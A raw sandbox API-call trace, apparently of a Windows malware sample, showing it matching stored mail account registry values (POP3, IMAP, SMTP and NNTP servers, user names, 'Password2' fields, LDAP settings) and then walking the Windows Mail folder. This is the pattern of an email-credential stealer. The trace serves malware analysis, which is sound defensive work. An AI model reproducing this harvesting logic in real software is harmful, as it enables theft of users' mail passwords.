	[0094.772] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Secure_Connection") returned -1
	[0094.773] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Secure_Connection") returned -1
	[0094.773] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Secure_Connection") returned -1
	[0094.773] _strcmpi (_Str1="Account_Name", _Str2="POP3_Secure_Connection") returned -1
	[0094.773] strlen (_Str="type") returned 0x4
	[0094.773] strlen (_Str="SZ") returned 0x2
	[0094.773] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="Account_Name") returned 1
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="POP3_Server") returned -1
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Server") returned 1
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Server") returned -1
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Server") returned -1
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="POP3_User_Name") returned -1
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="IMAP_User_Name") returned 1
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="NNTP_User_Name") returned -1
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="SMTP_User_Name") returned -1
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="POP3_Password2") returned -1
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Password2") returned 1
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Password2") returned -1
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Password2") returned -1
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Email_Address") returned -1
	[0094.773] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Email_Address") returned -1
	[0094.773] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Port") returned -1
	[0094.773] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Port") returned -1
	[0094.773] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Port") returned 1
	[0094.773] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Port") returned -1
	[0094.773] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Secure_Connection") returned -1
	[0094.773] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Secure_Connection") returned -1
	[0094.773] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Secure_Connection") returned 1
	[0094.773] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Secure_Connection") returned -1
	[0094.773] strlen (_Str="type") returned 0x4
	[0094.773] strlen (_Str="DWORD") returned 0x5
	[0094.773] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="Account_Name") returned 1
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Server") returned -1
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Server") returned 1
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Server") returned -1
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Server") returned -1
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_User_Name") returned -1
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_User_Name") returned 1
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_User_Name") returned -1
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_User_Name") returned -1
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Password2") returned -1
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Password2") returned 1
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Password2") returned -1
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Password2") returned -1
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Email_Address") returned -1
	[0094.773] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Email_Address") returned -1
	[0094.773] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Port") returned -1
	[0094.773] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Port") returned -1
	[0094.773] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Port") returned 1
	[0094.774] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Port") returned -1
	[0094.774] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Secure_Connection") returned -1
	[0094.774] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Secure_Connection") returned -1
	[0094.774] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Secure_Connection") returned 1
	[0094.774] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Secure_Connection") returned -1
	[0094.774] strlen (_Str="type") returned 0x4
	[0094.774] strlen (_Str="DWORD") returned 0x5
	[0094.774] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="Account_Name") returned 1
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Server") returned -1
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Server") returned 1
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Server") returned -1
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Server") returned -1
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_User_Name") returned -1
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_User_Name") returned 1
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_User_Name") returned -1
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_User_Name") returned -1
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Password2") returned -1
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Password2") returned 1
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Password2") returned -1
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Password2") returned -1
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Email_Address") returned -1
	[0094.774] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Email_Address") returned -1
	[0094.774] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Port") returned -1
	[0094.774] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Port") returned -1
	[0094.774] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Port") returned 1
	[0094.774] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Port") returned -1
	[0094.774] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Secure_Connection") returned -1
	[0094.774] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Secure_Connection") returned -1
	[0094.774] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Secure_Connection") returned 1
	[0094.774] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Secure_Connection") returned -1
	[0094.774] strlen (_Str="type") returned 0x4
	[0094.774] strlen (_Str="DWORD") returned 0x5
	[0094.774] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.774] strcmp (_Str1="LDAP_Authentication", _Str2="Account_Name") returned 1
	[0094.774] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Server") returned -1
	[0094.774] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Server") returned 1
	[0094.774] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Server") returned -1
	[0094.774] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Server") returned -1
	[0094.774] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_User_Name") returned -1
	[0094.774] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_User_Name") returned 1
	[0094.774] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_User_Name") returned -1
	[0094.774] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_User_Name") returned -1
	[0094.774] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Password2") returned -1
	[0094.774] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Password2") returned 1
	[0094.774] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Password2") returned -1
	[0094.774] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Password2") returned -1
	[0094.775] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Email_Address") returned -1
	[0094.775] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Email_Address") returned -1
	[0094.775] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Port") returned -1
	[0094.775] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Port") returned -1
	[0094.775] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Port") returned 1
	[0094.775] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Port") returned -1
	[0094.775] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Secure_Connection") returned -1
	[0094.775] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Secure_Connection") returned -1
	[0094.775] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Secure_Connection") returned 1
	[0094.775] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Secure_Connection") returned -1
	[0094.775] strlen (_Str="type") returned 0x4
	[0094.775] strlen (_Str="DWORD") returned 0x5
	[0094.775] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="Account_Name") returned 1
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Server") returned -1
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Server") returned 1
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Server") returned -1
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Server") returned -1
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_User_Name") returned -1
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_User_Name") returned 1
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_User_Name") returned -1
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_User_Name") returned -1
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Password2") returned -1
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Password2") returned 1
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Password2") returned -1
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Password2") returned -1
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Email_Address") returned -1
	[0094.775] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Email_Address") returned -1
	[0094.775] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Port") returned -1
	[0094.775] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Port") returned -1
	[0094.775] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Port") returned 1
	[0094.775] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Port") returned -1
	[0094.775] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Secure_Connection") returned -1
	[0094.775] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Secure_Connection") returned -1
	[0094.775] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Secure_Connection") returned 1
	[0094.775] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Secure_Connection") returned -1
	[0094.775] strlen (_Str="type") returned 0x4
	[0094.775] strlen (_Str="DWORD") returned 0x5
	[0094.775] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.775] strcmp (_Str1="LDAP_Bind_DN", _Str2="Account_Name") returned 1
	[0094.775] strcmp (_Str1="LDAP_Bind_DN", _Str2="POP3_Server") returned -1
	[0094.775] strcmp (_Str1="LDAP_Bind_DN", _Str2="IMAP_Server") returned 1
	[0094.775] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_Server") returned -1
	[0094.775] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_Server") returned -1
	[0094.775] strcmp (_Str1="LDAP_Bind_DN", _Str2="POP3_User_Name") returned -1
	[0094.775] strcmp (_Str1="LDAP_Bind_DN", _Str2="IMAP_User_Name") returned 1
	[0094.775] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_User_Name") returned -1
	[0094.775] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_User_Name") returned -1
	[0094.775] strcmp (_Str1="LDAP_Bind_DN", _Str2="POP3_Password2") returned -1
	[0094.775] strcmp (_Str1="LDAP_Bind_DN", _Str2="IMAP_Password2") returned 1
	[0094.776] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_Password2") returned -1
	[0094.776] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_Password2") returned -1
	[0094.776] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_Email_Address") returned -1
	[0094.776] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_Email_Address") returned -1
	[0094.776] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="SMTP_Port") returned -1
	[0094.776] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="NNTP_Port") returned -1
	[0094.776] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="IMAP_Port") returned 1
	[0094.776] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="POP3_Port") returned -1
	[0094.776] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="SMTP_Secure_Connection") returned -1
	[0094.776] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="NNTP_Secure_Connection") returned -1
	[0094.776] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="IMAP_Secure_Connection") returned 1
	[0094.776] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="POP3_Secure_Connection") returned -1
	[0094.776] strlen (_Str="type") returned 0x4
	[0094.776] strlen (_Str="DWORD") returned 0x5
	[0094.776] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="Account_Name") returned 1
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="POP3_Server") returned -1
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="IMAP_Server") returned 1
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="NNTP_Server") returned -1
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="SMTP_Server") returned -1
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="POP3_User_Name") returned -1
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="IMAP_User_Name") returned 1
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="NNTP_User_Name") returned -1
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="SMTP_User_Name") returned -1
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="POP3_Password2") returned -1
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="IMAP_Password2") returned 1
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="NNTP_Password2") returned -1
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="SMTP_Password2") returned -1
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="NNTP_Email_Address") returned -1
	[0094.776] strcmp (_Str1="LDAP_Port", _Str2="SMTP_Email_Address") returned -1
	[0094.776] _strcmpi (_Str1="LDAP_Port", _Str2="SMTP_Port") returned -1
	[0094.776] _strcmpi (_Str1="LDAP_Port", _Str2="NNTP_Port") returned -1
	[0094.776] _strcmpi (_Str1="LDAP_Port", _Str2="IMAP_Port") returned 1
	[0094.776] _strcmpi (_Str1="LDAP_Port", _Str2="POP3_Port") returned -1
	[0094.776] _strcmpi (_Str1="LDAP_Port", _Str2="SMTP_Secure_Connection") returned -1
	[0094.776] _strcmpi (_Str1="LDAP_Port", _Str2="NNTP_Secure_Connection") returned -1
	[0094.776] _strcmpi (_Str1="LDAP_Port", _Str2="IMAP_Secure_Connection") returned 1
	[0094.776] _strcmpi (_Str1="LDAP_Port", _Str2="POP3_Secure_Connection") returned -1
	[0094.776] strlen (_Str="type") returned 0x4
	[0094.776] strlen (_Str="DWORD") returned 0x5
	[0094.776] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.776] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="Account_Name") returned 1
	[0094.776] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Server") returned -1
	[0094.776] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Server") returned 1
	[0094.776] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Server") returned -1
	[0094.776] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Server") returned -1
	[0094.776] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="POP3_User_Name") returned -1
	[0094.776] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_User_Name") returned 1
	[0094.776] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_User_Name") returned -1
	[0094.776] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_User_Name") returned -1
	[0094.777] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Password2") returned -1
	[0094.777] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Password2") returned 1
	[0094.777] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Password2") returned -1
	[0094.777] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Password2") returned -1
	[0094.777] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Email_Address") returned -1
	[0094.777] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Email_Address") returned -1
	[0094.777] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Port") returned -1
	[0094.777] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Port") returned -1
	[0094.777] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Port") returned 1
	[0094.777] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Port") returned -1
	[0094.777] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Secure_Connection") returned -1
	[0094.777] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Secure_Connection") returned -1
	[0094.777] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Secure_Connection") returned 1
	[0094.777] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Secure_Connection") returned -1
	[0094.777] strlen (_Str="type") returned 0x4
	[0094.777] strlen (_Str="DWORD") returned 0x5
	[0094.777] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="Account_Name") returned 1
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="POP3_Server") returned -1
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Server") returned 1
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Server") returned -1
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Server") returned -1
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="POP3_User_Name") returned -1
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="IMAP_User_Name") returned 1
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_User_Name") returned -1
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_User_Name") returned -1
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="POP3_Password2") returned -1
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Password2") returned 1
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Password2") returned -1
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Password2") returned -1
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Email_Address") returned -1
	[0094.777] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Email_Address") returned -1
	[0094.777] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Port") returned -1
	[0094.777] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Port") returned -1
	[0094.777] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Port") returned 1
	[0094.777] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="POP3_Port") returned -1
	[0094.777] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Secure_Connection") returned -1
	[0094.777] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Secure_Connection") returned -1
	[0094.777] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Secure_Connection") returned 1
	[0094.777] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="POP3_Secure_Connection") returned -1
	[0094.777] strlen (_Str="type") returned 0x4
	[0094.777] strlen (_Str="SZ") returned 0x2
	[0094.777] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.777] strcmp (_Str1="LDAP_User_Name", _Str2="Account_Name") returned 1
	[0094.777] strcmp (_Str1="LDAP_User_Name", _Str2="POP3_Server") returned -1
	[0094.777] strcmp (_Str1="LDAP_User_Name", _Str2="IMAP_Server") returned 1
	[0094.777] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_Server") returned -1
	[0094.777] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_Server") returned -1
	[0094.777] strcmp (_Str1="LDAP_User_Name", _Str2="POP3_User_Name") returned -1
	[0094.777] strcmp (_Str1="LDAP_User_Name", _Str2="IMAP_User_Name") returned 1
	[0094.778] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_User_Name") returned -1
	[0094.778] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_User_Name") returned -1
	[0094.778] strcmp (_Str1="LDAP_User_Name", _Str2="POP3_Password2") returned -1
	[0094.778] strcmp (_Str1="LDAP_User_Name", _Str2="IMAP_Password2") returned 1
	[0094.778] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_Password2") returned -1
	[0094.778] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_Password2") returned -1
	[0094.778] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_Email_Address") returned -1
	[0094.778] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_Email_Address") returned -1
	[0094.778] _strcmpi (_Str1="LDAP_User_Name", _Str2="SMTP_Port") returned -1
	[0094.778] _strcmpi (_Str1="LDAP_User_Name", _Str2="NNTP_Port") returned -1
	[0094.778] _strcmpi (_Str1="LDAP_User_Name", _Str2="IMAP_Port") returned 1
	[0094.778] _strcmpi (_Str1="LDAP_User_Name", _Str2="POP3_Port") returned -1
	[0094.778] _strcmpi (_Str1="LDAP_User_Name", _Str2="SMTP_Secure_Connection") returned -1
	[0094.778] _strcmpi (_Str1="LDAP_User_Name", _Str2="NNTP_Secure_Connection") returned -1
	[0094.778] _strcmpi (_Str1="LDAP_User_Name", _Str2="IMAP_Secure_Connection") returned 1
	[0094.778] _strcmpi (_Str1="LDAP_User_Name", _Str2="POP3_Secure_Connection") returned -1
	[0094.778] strlen (_Str="type") returned 0x4
	[0094.778] strlen (_Str="SZ") returned 0x2
	[0094.778] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="Account_Name") returned 1
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Server") returned -1
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Server") returned 1
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Server") returned -1
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Server") returned -1
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_User_Name") returned -1
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_User_Name") returned 1
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_User_Name") returned -1
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_User_Name") returned -1
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Password2") returned -1
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Password2") returned 1
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Password2") returned -1
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Password2") returned -1
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Email_Address") returned -1
	[0094.778] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Email_Address") returned -1
	[0094.778] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Port") returned -1
	[0094.778] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Port") returned -1
	[0094.778] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Port") returned 1
	[0094.778] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Port") returned -1
	[0094.778] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Secure_Connection") returned -1
	[0094.778] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Secure_Connection") returned -1
	[0094.778] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Secure_Connection") returned 1
	[0094.778] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Secure_Connection") returned -1
	[0094.779] CloseHandle (hObject=0x104) returned 1
	[0094.779] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18eea8 | out: lpFindFileData=0x18eea8) returned 0
	[0094.779] FindClose (in: hFindFile=0x596a58 | out: hFindFile=0x596a58) returned 1
	[0094.779] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.779] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.779] strlen (_Str="*.*") returned 0x3
	[0094.779] _mbscpy (in: param_1=0x18f274, param_2=0x18f63c | out: param_1=0x18f274) returned 0x18f274
	[0094.779] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.779] _mbscat (in: param_1=0x18f274, param_2=0x413044 | out: param_1=0x18f274) returned 0x18f274
	[0094.779] _mbscat (in: param_1=0x18f274, param_2=0x413744 | out: param_1=0x18f274) returned 0x18f274
	[0094.779] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 0x596a58
	[0094.779] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.779] strlen (_Str=".") returned 0x1
	[0094.779] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.779] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.779] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.779] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.779] strcmp (_Str1=".", _Str2="..") returned -1
	[0094.779] strcmp (_Str1=".", _Str2=".") returned 0
	[0094.779] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.779] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.779] strlen (_Str="..") returned 0x2
	[0094.779] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.779] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.779] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.779] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
